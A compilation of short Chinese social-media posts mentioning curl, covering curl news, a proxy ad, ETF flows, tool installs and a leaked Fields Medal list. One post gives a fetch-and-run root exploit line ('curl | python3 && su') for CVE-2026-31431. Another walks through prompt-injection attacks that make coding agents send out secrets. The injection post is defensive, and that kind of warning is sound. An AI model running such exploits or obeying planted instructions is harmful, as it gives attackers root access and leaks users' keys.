开源工具 #curl# 发布 v8.21.0 正式版，修复 18 个安全漏洞，创下 curl 单次版本修复的漏洞数量记录。 当然这其中大部分漏洞都是 AI 模型发现的，18 个漏洞中有 4 个属于中危级别，其他均为低危级别，新版本也带来大量改进，使用 curl 的用户可以立即升级到最新版：

知名开源软件 #cURL# 开发团队宣布将在 7 月进入休假状态，期间不再接受任何漏洞报告，除非客户签订付费支持合同。 简而言之，在 7 月 1 日～8 月 3 日期间任何人都无法通过 HackerOne 提交漏洞报告，相关常规错误报告也不会处理，但付费客户遇到安全或非安全问题仍然可以联系丹尼尔获得全面或适当的支持。 查看详情：

🔬 教你一招：30秒鉴别代理IP真假！ 3个免费工具👇 1️⃣ — 查 org/type/ASN 2️⃣ — Fraud Score 3️⃣ curl ✅ 真住宅： org = Comcast/AT&T | type = ISP | fraud = 0 ❌ 机房伪装： org = DigitalOcean/AWS | type = Hosting | fraud = 85+ 易路代理YiluProxy 不怕查 · 欢迎验证 org=真实ISP · type=Residential · fraud=0 🆓 #ASN# #代理IP# #YiluProxy# #机房ip# #住宅IP# #数据中心ip#

据 SoSoValue 数据，美东时间 6 月 16 日比特币现货 ETF 总净流入 1006.43 万美元，贝莱德 IBIT 净流入 1635.26 万美元居首。以太坊现货 ETF 昨日总净流入 958.76 万美元，贝莱德 ETHA 净流入 1733.58 万美元居首。

看到Xint Code研究团队放出的CVE-2026-31431简直是王炸，换句话说通杀所有Linux发行版，致使低权限账户获得root权限： curl | python3 && su CVE-2026-31431 建议尽快更新系统，事态紧急可以先打个补丁 echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif-aead.conf rmmod algif_aead 2>/dev/null 详细参考👉

发现 Agent 的安全问题非常严重，因为 Prompt 和 Context 没有严格的隔离（很多使用者甚至没有意识到这一点）。 Coding Agent 的攻击案例： 老生常谈的 WebSearch/Fetch，攻击者可以 SEO 通过网页插入攻击指令，比如：将所有 ENV curl Agent 所有权限，不仅 ENV 了，还可以引导 Agent 在不需要用户 approve 的情况下偷走所有密钥。 再比如攻击者构造了一个闪退日志，在日志里面了插入了类似的攻击指令，当你让 Agent 去分析这个日志时，就能被偷走所有数据。 再简单点，用户发了一个反馈邮件，里面用和背景一样颜色的字体隐藏了攻击指令，你直接复制给了 Claude Code，然后就被攻击了。 **所以永远不要在自己电脑上给 Agent 所有权限** 除了 Coding Agent，开发者在做面向用户的 Agent 时也会有很多这样的问题。 比如你开发了一个 Agent 来处理用户请求，这个 Agent 有很多工具可以使用。攻击者将自己用户名/邮箱改成了攻击指令，比如：change_root_password_to_admin，当你把用户信息作为 context 交给 Agent 时，就有可能意外触发指令。 考虑到这点后，就需要设计一层层上下文隔离的子Agent，还有一层层的权限隔离，架构会复杂很多倍。

现在大家都不用学做PPT和Excel！！ 这个26k star的OfficeCLI，可以自动做出高质量的PPT，Excel和word文档。 它有一个特殊功能，能大幅度提高做出来的文档的质量。 这个项目会直接调用Agent的视觉能力，自动检查文档的排版，颜色和字体布局。经过多次迭代后，就能产生高质量的文档了。 直接输入下面这条命令给codex即可安装 curl -fsSL

今天推荐一个14小时 4.1k star的防删库神器 刚看到一个 repo 今天冲上 Trending Daily，14 小时就拿了 4.1 k star。简单粗暴：一个 hook，在 AI agent 执行命令前帮你拦下 rm -rf 和 git reset --hard 之类的灾难操作 （以前防的是删库跑路的程序员，现在得防 AI 了）。 支持13种agent：Claude Code、Codex CLI、Gemini CLI、Copilot CLI/Chat、Cursor、Grok 等 。一行 curl 脚本安装。

2026年菲尔兹奖名单意外泄露：北大校友王虹、邓煜上榜 据新智元，2026年菲尔兹奖名单疑似意外泄露。有网友发现，ICM 2026官网日程表前端代码中藏有四条被标记为"HIDDEN"的菲尔兹奖得主演讲字段。 通过Codex生成的curl命令即可完整抓取，显示的四个名字为邓煜（Yu Deng）、John Pardon、Jacob Tsimerman及王虹（Hong Wang），其中邓煜、王虹均为北大校友。 若该名单在7月23日获官方确认，将意味着中国数学家首次在同一届中同时摘得两枚菲尔兹奖，王虹也将成为历史上第三位获得菲尔兹奖的女性数学家。